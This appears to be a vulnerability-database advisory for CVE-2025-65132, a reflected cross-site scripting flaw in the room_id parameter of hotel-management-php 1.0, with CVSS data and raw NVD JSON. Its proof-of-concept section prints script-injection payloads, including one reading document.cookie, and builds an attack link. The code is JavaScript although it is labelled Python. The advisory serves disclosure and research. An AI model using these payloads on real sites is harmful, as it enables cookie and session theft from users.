Security Vulnerability Report
中文
CVE-2025-65132 CVSS 6.1 MEDIUM

CVE-2025-65132

Published: 2026-04-14 16:16:34
Last Modified: 2026-04-17 15:33:34

Description

alandsilva26 hotel-management-php 1.0 is vulnerable to Cross Site Scripting (XSS) in /public/admin/edit_room.php which allows an attacker to inject and execute arbitrary JavaScript via the room_id GET parameter.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

alandsilva26 hotel-management-php 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC demonstration for CVE-2025-65132 // The vulnerability allows injection of arbitrary JavaScript via the 'room_id' parameter // Step 1: Craft a malicious URL // Target: http://target.com/public/admin/edit_room.php?room_id= // Payload: "><script>alert(document.cookie)</script> // Example Request: // GET /public/admin/edit_room.php?room_id="><script>alert('CVE-2025-65132')</script> console.log("Simulating request to vulnerable endpoint:"); const payload = '"><script>alert(1)</script>'; const targetUrl = `http://target.com/public/admin/edit_room.php?room_id=${encodeURIComponent(payload)}`; // In a real scenario, the attacker sends this link to the victim. // When the victim clicks, the script executes in their browser context. console.log(`Attack Link: ${targetUrl}`);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65132", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:33.837", "lastModified": "2026-04-17T15:33:34.050", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "alandsilva26 hotel-management-php 1.0 is vulnerable to Cross Site Scripting (XSS) in /public/admin/edit_room.php which allows an attacker to inject and execute arbitrary JavaScript via the room_id GET parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/TREXNEGRO/Security-Advisories/blob/main/CVE-2025-65132/README.md", "source": "[email protected]"}]}}